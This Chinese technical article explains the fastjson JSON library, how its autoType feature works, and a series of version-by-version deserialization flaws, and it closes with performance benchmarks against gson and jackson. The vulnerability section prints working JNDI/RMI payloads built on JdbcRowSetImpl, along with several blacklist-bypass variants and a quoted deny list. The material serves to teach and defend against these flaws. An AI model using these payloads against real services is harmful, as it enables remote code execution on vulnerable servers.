fastjson 简介
什么是 fastjson
fastjson是阿里巴巴的开源JSON解析库,它可以解析JSON格式的字符串,支持将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean。
fastjson 的使用
- 序列化
String jsonString = JSON.toJSONString(Object);
- 反序列化
Object obj = JSON.parseObject(String, Object.class);
fastjson 的工作原理
我们使用一个例子,来简单看下 fastjson 是如何做到序列化和反序列化的
先创建一个 User 类,可以看到我们分别在他的constructor、getter、setter 方法上打印了日志。
![5538d5c03f1a10832967385a7b402e1e.png](https://img-blog.csdnimg.cn/img_convert/5538d5c03f1a10832967385a7b402e1e.png)
然后,我们使用 fastjson 对 User 对象进行序列化和反序列化的操作。其中反序列化使用了 parse 方法 和
parseObject 方法。
![a744b106e70fcd4d81899fd9fd626211.png](https://img-blog.csdnimg.cn/img_convert/a744b106e70fcd4d81899fd9fd626211.png)
这个 Demo 执行会有什么样的结果呢?
![ccea8be50c438db26680c3b1239ee31a.png](https://img-blog.csdnimg.cn/img_convert/ccea8be50c438db26680c3b1239ee31a.png)
从结果中我们可以看到,fastjson 的序列化是调用对象的 getter 方法实现的,反序列化中 parse 没有调用 User 的任何方法,而是返回了一个 JSONObject 对象。parseObject 调用了 User 的构造方法和 setter 方法,最终返回的是User 对象。
fastjson 漏洞
通过 fastjson 的 releaseNotes,我们可以发现 fastjson 漏洞跟 fastjson 的 autoType 特性有很大关系,其漏洞的利用和修复基本都围绕 autoType 特性展开。那么 autoType 特性是做什么的呢?
autoType
首先,我们看下面这个例子。
![85b594c50fabd96eede56a94d262976b.png](https://img-blog.csdnimg.cn/img_convert/85b594c50fabd96eede56a94d262976b.png)
![fe7809e3d356e157f676216685d6fd24.png](https://img-blog.csdnimg.cn/img_convert/fe7809e3d356e157f676216685d6fd24.png)
![68c8a32befdce32917f8a7a07e56383a.png](https://img-blog.csdnimg.cn/img_convert/68c8a32befdce32917f8a7a07e56383a.png)
Store 中有 Fruit 类型的属性,Apple 继承了 Frunt 实体。现在我们使用 fastjson 对上面的java bean进行序列化测试
![c188ff75c22a7d08e2c01586c061d394.png](https://img-blog.csdnimg.cn/img_convert/c188ff75c22a7d08e2c01586c061d394.png)
上面的代码将 Apple 对象赋值到 Store 中,然后使用 fastjson 进行序列化和反序列化,最后将 Store 中的 Fruit 转换成其 真实类型。上面的例子输出是什么呢?
![fc4f366e58604c0f26c82485a1a4d449.png](https://img-blog.csdnimg.cn/img_convert/fc4f366e58604c0f26c82485a1a4d449.png)
可以看到,在将store反序列化之后,我们尝试将Fruit转换成Apple,但是抛出了异常,不允许类型转换。从上述现象 中我们知道,当一个类中包含了一个接口(或父类)的时候,在进行序列化的时候,会将子类型抹去,只保留接口(父类)的类型,使得反序列化时无法拿到原始类型。
那么有什么办法解决这个问题呢,fastjson 使用 autoType 来解决这个问题,与普通的序列化不同,使用autoType 需要 SerializerFeature.WriteClassName 标记。
还是上面的例子,我们把序列化的代码做些改动
![5cc664d2cd9045c6a1392dfd6db0abdb.png](https://img-blog.csdnimg.cn/img_convert/5cc664d2cd9045c6a1392dfd6db0abdb.png)
红框中我们在序列化时使用了 SerializerFeature.WriteClassName ,表示使用了autoType,那再次运行代码,结果怎样呢?
![3832bed4fda01bb88c2b7b71298f95d6.png](https://img-blog.csdnimg.cn/img_convert/3832bed4fda01bb88c2b7b71298f95d6.png)
运行成功了!我们成功拿到了 Fruit 的真实类型 Apple。我们再使用 User 的例子试一下。
![0dd8a819e1e1950ca08b770c6d10c407.png](https://img-blog.csdnimg.cn/img_convert/0dd8a819e1e1950ca08b770c6d10c407.png)
使用了 autoType 特性之后的结果会有什么不同?
![a335a707ded1f3028b6b08d92dfb46c2.png](https://img-blog.csdnimg.cn/img_convert/a335a707ded1f3028b6b08d92dfb46c2.png)
同时我们可以看到,使用了SerializerFeature.WriteClassName进行标记后,序列化之后的JSON字符串中多出了一个@type字段,标注了类对应的原始类型,使我们在反序列化的时候能够定位到具体类型。
这就是 fastjson 中的 autoType 特性,这个特性确实能够在特定场景下带来方便,但也正是由于这个特性导致了后续的诸多被利用的漏洞。接下来我们就看一下 fastjson 开发史上的那些重大漏洞。
autoType 的实现 (v1.2.24)
序列化
![ee160ac582c98fae4338a20a59c96de4.png](https://img-blog.csdnimg.cn/img_convert/ee160ac582c98fae4338a20a59c96de4.png)
反序列化
![f97c105b59db156a8376dd3bd653b74c.png](https://img-blog.csdnimg.cn/img_convert/f97c105b59db156a8376dd3bd653b74c.png)
处理 JSON 字符串时,如果 key = @type,会继续读取到指定要加载的类 typeName,然后会使用TypeUtils.loadClass 去加载 typeName 的 Class。我们再看下 loadClass 做了什么。
loadClass 分别处理了数组形式的类、Class形式的类和其他的类,并且对加载过的类在 mappings 中做了缓存。
加载完class之后,fastjson 在 deserializer.deserialze(this, clazz, fieldName); 中处理了 autoType
的反序列化操作,也就是调用了对应 class 的构造和 setter 方法。
v1.2.24 漏洞构建
我们了解了 autoType 的实现过程和使用方式,可以看到使用了 autoType 之后,我们可以使 fastjson 加载指定的类,并且 fastjson 会自动调用该类的构造方法和我们要设置的属性的 setter 方法。
本地代码执行漏洞
利用这一点,我们可以构造出执行漏洞v1,我们以弹出计算器为目标。
![5093297fc5e394ec67d8cf3305f287d1.png](https://img-blog.csdnimg.cn/img_convert/5093297fc5e394ec67d8cf3305f287d1.png)
我们在 User 类的构造方法中增加 Runtime.getRuntime().exec("calc");,打开系统的计算器。
![1181155d553ba9a4450499ead3a37ed3.png](https://img-blog.csdnimg.cn/img_convert/1181155d553ba9a4450499ead3a37ed3.png)
从 demo 中可以看到,我们成功的弹出了计算器,验证 fastjson 漏洞成功,so easy! but,你以为这就完了吗?
实际上,我们不会有人在代码中写 Runtim.getRuntime() 这样的代码,那么如果没有这部分代码,我们还可以使用什么方式利用这个漏洞呢?
远程执行漏洞
我们使用 JNDI 的方式完成这个远程执行漏洞,这里选择比较常用的攻击类库com.sun.rowset.JdbcRowSetImpl,这是sun官方提供的一个类库,这个类的dataSourceName支持传入一个 rmi的源,当解析这个uri的时候,就会支持rmi远程调用,去指定的rmi地址中去调用方法。我们看一下具体的方法。
![29d87c624463e239ecffc42d3a3ef000.png](https://img-blog.csdnimg.cn/img_convert/29d87c624463e239ecffc42d3a3ef000.png)
![da2c8fa4c11caa2e1338e7aaed785b43.png](https://img-blog.csdnimg.cn/img_convert/da2c8fa4c11caa2e1338e7aaed785b43.png)
使用 RMI 的方式需要我们有一个自己的web服务,将上面执行命令的 User 类编译后放在web服务的根目录下,然后我们构建JDNI server。
![feafb3c9e92ea33620c97eeaeb26c662.png](https://img-blog.csdnimg.cn/img_convert/feafb3c9e92ea33620c97eeaeb26c662.png)
这样,我们就可以通过 RMI 的方式执行远程命令。最终,我们构造如下的 payload :
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:2099/User","autoCo mmit":true}
如果我们的接口使用了 fastjson 的反序列化,通过传入这个参数就可以实现远程漏洞的攻击。
v1.2.41 漏洞构建
我们先来看一下,为了解决 v1.2.24 中的漏洞,fastjson 做了哪些改动。
![fc50e51ea0af7b35815a54e0e7e2f351.png](https://img-blog.csdnimg.cn/img_convert/fc50e51ea0af7b35815a54e0e7e2f351.png)
首先,我们看到在处理 autoType 特性时,增加了 checkAutoType 的处理。
在 checkAutoType 中,如果 autoTypeSupport 开关打开,会先检查白名单,如果目标类在白名单中,直接加载。然后检查黑名单,如果目标类在黑名单中并且缓存中没有找到则抛异常。
如果 autoTypeSupport 开关关闭,则先检查黑名单,在黑名单中,直接抛异常。然后检查白名单,如果在白名单中并且目标类不是预期类的子类,则直接加载。
最后,有个兜底判断,如果 autoTypeSupport 开关打开 或者 传入 features 支持 SupportAutoType 或者 默认features 支持 SupportAutoType 则直接加载。
1.2.41 版本中的 黑名单中 包含了哪些类
private String[] denyList = "bsh,com.mchange,com.sun.,java.lang.Thread,java.net.Socket,java.rmi,javax.xml,org.apache.bcel,org.apache.commons.beanutils,org.apache.commons.collections.Transformer,org.apache.commons.collections.functors,org.apache.commons.collections4.comparators,org.apache.commons.fileupload,org.apache.myfaces.context.servlet,org.apache.tomcat,org.apache.wicket.util,org.apache.xalan,org.codehaus.groovy.runtime,org.hibernate,org.jboss,org.mozilla.javascript,org.python.core,o rg.springframework".split(",");
可以看到,com.sun.下的所有类都被加入到了黑名单,没有办法再利用之前构造的 payload 进行攻击了吧。
too young, too simple!
还记的上面提到的 loadClass 方法吗?
![4de07fd6f995fbe0c877abcd5819e257.png](https://img-blog.csdnimg.cn/img_convert/4de07fd6f995fbe0c877abcd5819e257.png)
如果目标类的首字母是‘L’,并且尾字母是‘;’,这里会去除首尾字母,重新 loadClass;
所以我们重新构造 payload 只需要分别在目标类前后增加字母 ’L‘,‘;’就可以了。新的payload如下:
{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"rmi://localhost:2099/User","auto Commit":true}
但此漏洞需要 autoTypeSupport 开关打开,由于上面提到的 checkAutoType 的兜底策略,开关关闭会直接抛出不支持 autoType 的异常。
v1.2.42 漏洞构建
我们先来看一下,为了解决 v1.2.41 中的漏洞,fastjson 在 checkAutoType 中做了哪些改动。
![12ec78312238dafda780b78373f737a9.png](https://img-blog.csdnimg.cn/img_convert/12ec78312238dafda780b78373f737a9.png)
1.2.42 中将黑白名单中的类替换成了类的 hash 值,hash 的算法为
![ad16252ca8c9d8d98666b016a7dfb6f8.png](https://img-blog.csdnimg.cn/img_convert/ad16252ca8c9d8d98666b016a7dfb6f8.png)
然后 利用该 hash 算法得到首字母和末尾字符的 hash 值是否与 L;的 hash 值相同。如果相同,则删除首尾字母。
这样如果我还是利用 Lcom.sun.rowset.JdbcRowSetImpl; 做为目标类,就会被黑名单拦截,貌似也可以解决问题。
额,这样真的可以解决问题吗?
这次的问题修复,作者想得有点简单了。我们只需要分别在目标类的前后增加 LL 和 ;; 比如
LLcom.sun.rowset.JdbcRowSetImpl;;
就可以轻松绕过检查。payload 如下:
{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"rmi://localhost:2099/User","au toCommit":true}
v1.2.47 漏洞构建
为了解决 v1.2.42 中的漏洞,fastjson 在 checkAutoType 中做了哪些改动。
![835ac308066fd1b289cb139c9a6144f7.png](https://img-blog.csdnimg.cn/img_convert/835ac308066fd1b289cb139c9a6144f7.png)
1.2.47 中,判断类的前缀是 [ 或者类的首尾字符分别是 L、;,则直接抛出不支持 autoType 的异常。这样,我们之前使用的漏洞方式都不能使用了。
那我们还能找到其他方式越过这些检查吗?可以的,我们来看下 checkAutoType 中的这段代码。
这段代码前面是 autoType 开关开启时黑白名单的校验,后面是 autoType 开关关闭时黑白名单的校验。而且开关开启时的校验中还没有把黑名单的拦截写死。
![3a9bd83b7e7b0ce404073876095d80b5.png](https://img-blog.csdnimg.cn/img_convert/3a9bd83b7e7b0ce404073876095d80b5.png)
只有目标类在黑名单中同时缓存中没有该类时才会抛出异常。也就是说只要缓存中存在目标类,无论 autoType 的开关开启还是关闭,都不会被黑名单拦截。
现在的问题就变成了,如何在校验攻击类之前将其加载到缓存中。
大家还记得什么时候会将目标类放到缓存中吗?答案是 loadClass。
![3d6c5c131eeeec089e161be036b58137.png](https://img-blog.csdnimg.cn/img_convert/3d6c5c131eeeec089e161be036b58137.png)
![2eac498d72676695fdfa67b356991494.png](https://img-blog.csdnimg.cn/img_convert/2eac498d72676695fdfa67b356991494.png)
可以看到,loadClass 中 ① 和 ② 需要 cache 为 true 时才会添加缓存,③ 任何时候都会添加。而 fastjson 提供了两个 loadClass 的方法,第一个 cache 为 true, 第二个调用方可以自己决定是否缓存。
通过上述线索,我们反向定位,使用到 loadClass 且需要缓存,而且这个 loadClass 不是在处理 autoType 的属性。于是我们找到了符合条件的一处使用。
![6ea1cb780d014f770e4b61d63c3b6165.png](https://img-blog.csdnimg.cn/img_convert/6ea1cb780d014f770e4b61d63c3b6165.png)
![85d06490ff5585a2afbef4c02cb66f15.png](https://img-blog.csdnimg.cn/img_convert/85d06490ff5585a2afbef4c02cb66f15.png)
在处理 Class 的类型时,我们会使用 loadClass 加载其属性。而 Class 类型的处理会在 ParserConfig 加载时就写入到 deserializers 中。
![2f131e9b59664e7e03bcc901e331a8b9.png](https://img-blog.csdnimg.cn/img_convert/2f131e9b59664e7e03bcc901e331a8b9.png)
至此,我们对于构建这个漏洞的 payload 就有了大概的思路。
我们需要先使用 Class 的 autoType 特性,将攻击类加载到缓存中,然后再次加载攻击类时,就会从缓存中获取,从而绕过黑白名单的检查。最终 payload 如下:
{"a":{"@type":"java.lang.Class", "val":"com.sun.rowset.JdbcRowSetImpl"},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:2099/User","autoCo mmit":true}}
v1.2.68 漏洞构建
为了解决 v1.2.47 中的漏洞,fastjson 做了哪些改动。
![880723458ae486b47f02079ef2aac45a.png](https://img-blog.csdnimg.cn/img_convert/880723458ae486b47f02079ef2aac45a.png)
![20d221ee2ba6ae22f24602ce07d5de1a.png](https://img-blog.csdnimg.cn/img_convert/20d221ee2ba6ae22f24602ce07d5de1a.png)
v1.2.68 版本中,将 MiscCodec 中对于 Class 类处理的缓存去掉了,并且原来没有加缓存的 Class.forName 也加上了缓存的判断。
这个版本是基于 expectClass 实现的漏洞攻击,我们先看下 expectClass 如何绕过检查。
![9acf62ee4eaa2157b88e041f82dd89de.png](https://img-blog.csdnimg.cn/img_convert/9acf62ee4eaa2157b88e041f82dd89de.png)
如果传入了 expectClass 并且 expectClass 没有被限制,则 expectClassFlag 为 true。
![944d6c43cde5295249c2cbb6fd73f74a.png](https://img-blog.csdnimg.cn/img_convert/944d6c43cde5295249c2cbb6fd73f74a.png)
后面的逻辑中,只要 expectClassFlag 为 true,就会执行 loadClass 加载目标类。
![776f48c5b06df8c50bfb093ddbd91069.png](https://img-blog.csdnimg.cn/img_convert/776f48c5b06df8c50bfb093ddbd91069.png)
当 expectClass 是 目标类的父类时,会直接返回。
我目前没有找到可以实现 RCE 的相关攻击类。不过这里我们可以先展示一下利用预期类攻击的方式。首先 checkAutoType 中会传入参数 expectClass,多数情况下这个值是 null。有两种情况下例外,
第一种 @type 为 Throwable.class
![f0a2e33296da5083c38e5471f9a92fdc.png](https://img-blog.csdnimg.cn/img_convert/f0a2e33296da5083c38e5471f9a92fdc.png)
此时,deserializer 为 ThrowableDeserializer,
![fb843e91890c545fb4b0bc201d7c270e.png](https://img-blog.csdnimg.cn/img_convert/fb843e91890c545fb4b0bc201d7c270e.png)
然后,解析下一个标签时,如果还是 @type 则会把 Throwable.class 作为预期类传入。
第二种方式也是类似的,如果第二个标签同样是 @type 则会把第一个 @type 作为预期类传入。
![a4c7a08d8b9aea88e35e2dd0149a3053.png](https://img-blog.csdnimg.cn/img_convert/a4c7a08d8b9aea88e35e2dd0149a3053.png)
我们以 AutoCloseable 为例,构造一个攻击的实例。
![8879649c62497174bd18cdc718dcb94a.png](https://img-blog.csdnimg.cn/img_convert/8879649c62497174bd18cdc718dcb94a.png)
前提也需要 autoType 特性开启,payload 如下:
{"@type":"java.lang.AutoCloseable","@type":"com.sgvshy.fastjson1268.jndi.Test", "cmd":"rmi://localhost:2099/User"}
v1.2.68 还提供了 safeMode 安全模式
![c7c6df608a791029018bba9a40e1e3d0.png](https://img-blog.csdnimg.cn/img_convert/c7c6df608a791029018bba9a40e1e3d0.png)
可以使用如下方式开启
ParserConfig.getGlobalInstance().setSafeMode(true);
安全模式下,不支持 autoType 特性,利用 autoType 漏洞的攻击都失效了。
fastjson、gson、jackson的对比
使用情况
![de7d5e0c9f37b66d85e564ea89bc36eb.png](https://img-blog.csdnimg.cn/img_convert/de7d5e0c9f37b66d85e564ea89bc36eb.png)
从上图可以看出,jackson 高居榜首,gson 紧随其后,而fastjson 的使用量则与其他两种 json 工具有很大差距。
性能对比
性能对比中,我们使用 jdk8 进行测试,fastjson 使用 1.2.70 版本,gson 使用 2.8.6 版本,jackson 使用 2.10.2 版本。
每种测试方案执行执行10次,分别列出每种方案的最大执行时间、最小执行时间、总执行时间、平均执行时间以及去 最大最小后的平均执行时间。
简单对象
我们首先采用简单对象进行测试,每种json工具循环进行序列化、反序列化。
循环次数 | json工具 | 序列化总值 | 序列化最大值 | 序列化最小值 | 序列化均值 | 序列化去最大最小均值 | 反序列化总值 | 反序列化最大值 | 反序列化最小值 | 反序列化均值 | 反序列化去最大最小均值 |
---|---|---|---|---|---|---|---|---|---|---|---|
1 | fastjson | 145 | 145 | 0 | 14 | 0 | 7 | 7 | 0 | 0 | 0 |
1 | gson | 75 | 73 | 0 | 7 | 0 | 18 | 17 | 0 | 1 | 0 |
1 | jackson | 233 | 229 | 0 | 23 | 0 | 32 | 24 | 0 | 3 | 1 |
10 | fastjson | 152 | 151 | 0 | 15 | 0 | 11 | 9 | 0 | 1 | 0 |
10 | gson | 75 | 71 | 0 | 7 | 0 | 17 | 16 | 0 | 1 | 0 |
10 | jackson | 233 | 228 | 0 | 23 | 0 | 35 | 27 | 0 | 3 | 1 |
100 | fastjson | 153 | 146 | 0 | 15 | 0 | 24 | 10 | 1 | 2 | 1 |
100 | gson | 84 | 73 | 0 | 8 | 1 | 35 | 22 | 0 | 3 | 1 |
100 | jackson | 280 | 264 | 1 | 28 | 1 | 40 | 27 | 1 | 4 | 1 |
1000 | fastjson | 180 | 167 | 0 | 18 | 1 | 73 | 25 | 2 | 7 | 5 |
1000 | gson | 109 | 83 | 2 | 10 | 3 | 57 | 21 | 2 | 5 | 4 |
1000 | jackson | 370 | 345 | 2 | 37 | 2 | 85 | 48 | 2 | 8 | 4 |
10000 | fastjson | 228 | 198 | 2 | 22 | 3 | 144 | 77 | 4 | 14 | 7 |
10000 | gson | 267 | 118 | 12 | 26 | 17 | 268 | 69 | 11 | 26 | 23 |
10000 | jackson | 580 | 418 | 8 | 58 | 19 | 296 | 117 | 12 | 29 | 20 |
100000 | fastjson | 467 | 219 | 15 | 46 | 29 | 678 | 120 | 44 | 67 | 64 |
100000 | gson | 930 | 282 | 57 | 93 | 73 | 867 | 210 | 51 | 86 | 75 |
100000 | jackson | 529 | 295 | 20 | 52 | 26 | 523 | 166 | 34 | 52 | 40 |
gson 和 jackson 在进行序列化和反序列化时都需要先创建对象,上面的测试方案中,每次遍历使用的对象都是提前创建的,所以每种方案结果数据中仅包含第一次创建对象的时间。
从结果可以看出,对同一个对象进行多次序列化操作,gson 性能较好。反序列化 fastjosn 性能较好。当循环次数超过 10w 后,fastjson 序列化性能较好,jackson 反序列化性能较好。
复杂对象
我们将多个简单对象放到列表中构成大对象进行测试。
大小 | json工具 | 序列化总值 | 序列化最大值 | 序列化最小值 | 序列化均值 | 序列化去最大最小均值 | 反序列化总值 | 反序列化最大值 | 反序列化最小值 | 反序列化均值 | 反序列化去最大最小均值 |
---|---|---|---|---|---|---|---|---|---|---|---|
1k | fastjson | 159 | 157 | 0 | 15 | 0 | 15 | 8 | 0 | 1 | 0 |
1k | gson | 83 | 74 | 1 | 8 | 1 | 21 | 18 | 0 | 2 | 0 |
1k | jackson | 256 | 255 | 0 | 25 | 0 | 38 | 29 | 1 | 3 | 1 |
10k | fastjson | 165 | 154 | 1 | 16 | 1 | 45 | 17 | 1 | 4 | 3 |
10k | gson | 88 | 71 | 1 | 8 | 2 | 27 | 16 | 0 | 2 | 1 |
10k | jackson | 246 | 235 | 1 | 24 | 1 | 42 | 30 | 1 | 4 | 1 |
100k | fastjson | 228 | 169 | 4 | 22 | 6 | 97 | 46 | 2 | 9 | 6 |
100k | gson | 156 | 87 | 6 | 15 | 7 | 81 | 36 | 2 | 8 | 5 |
100k | jackson | 285 | 237 | 5 | 28 | 5 | 106 | 45 | 6 | 10 | 6 |
500k | fastjson | 408 | 248 | 7 | 40 | 19 | 246 | 88 | 7 | 24 | 18 |
500k | gson | 503 | 182 | 20 | 50 | 37 | 523 | 199 | 12 | 52 | 39 |
500k | jackson | 401 | 303 | 8 | 40 | 11 | 247 | 63 | 15 | 24 | 21 |
1m | fastjson | 477 | 266 | 16 | 47 | 24 | 594 | 252 | 17 | 59 | 40 |
1m | gson | 761 | 216 | 35 | 76 | 63 | 342 | 86 | 13 | 34 | 30 |
1m | jackson | 343 | 201 | 10 | 34 | 16 | 333 | 86 | 15 | 33 | 29 |
10m | fastjson | 4010 | 1104 | 158 | 401 | 343 | 5258 | 1335 | 222 | 525 | 462 |
10m | gson | 2845 | 802 | 188 | 284 | 231 | 1943 | 306 | 141 | 194 | 187 |
10m | jackson | 1192 | 307 | 77 | 119 | 101 | 1963 | 381 | 144 | 196 | 179 |
可以看到,数据在100K以内,gson 序列化性能较好,反序列化相差不大。数据在 500K 左右时,fastjson 和 jackson
序列化和反序列化性能较好,gson 较差。数据大于 1M 后,jackson 的性能较好,gson次之,fastjson 较差。
总结
1、fastjson 是一款优秀的国产开源工具。
2、fastjson 开源之后,其主要的优点是速度快。为了实现这个优点,作者做了很多工作,比如自定义实现SerializeWriter 处理 字符串、使用 ThreadLocal 缓存 buf、使用 asm 避免反射、缺省启用 sort field 输出等一系列的改动,这些是我们在日常开发中可以借鉴的想法。
3、速度快并不是我们评估一个系统好坏的唯一标准,更不是最重要的标准。一个系统的优劣还要看它的稳定性、可 扩展性、易用性等等。显然 fastjosn 没有考虑到这些因素,才导致了后面的多个漏洞。所以我们在开发系统时要有大的格局,考虑系统的多个方面,在系统稳定的基础上尽量优化其性能。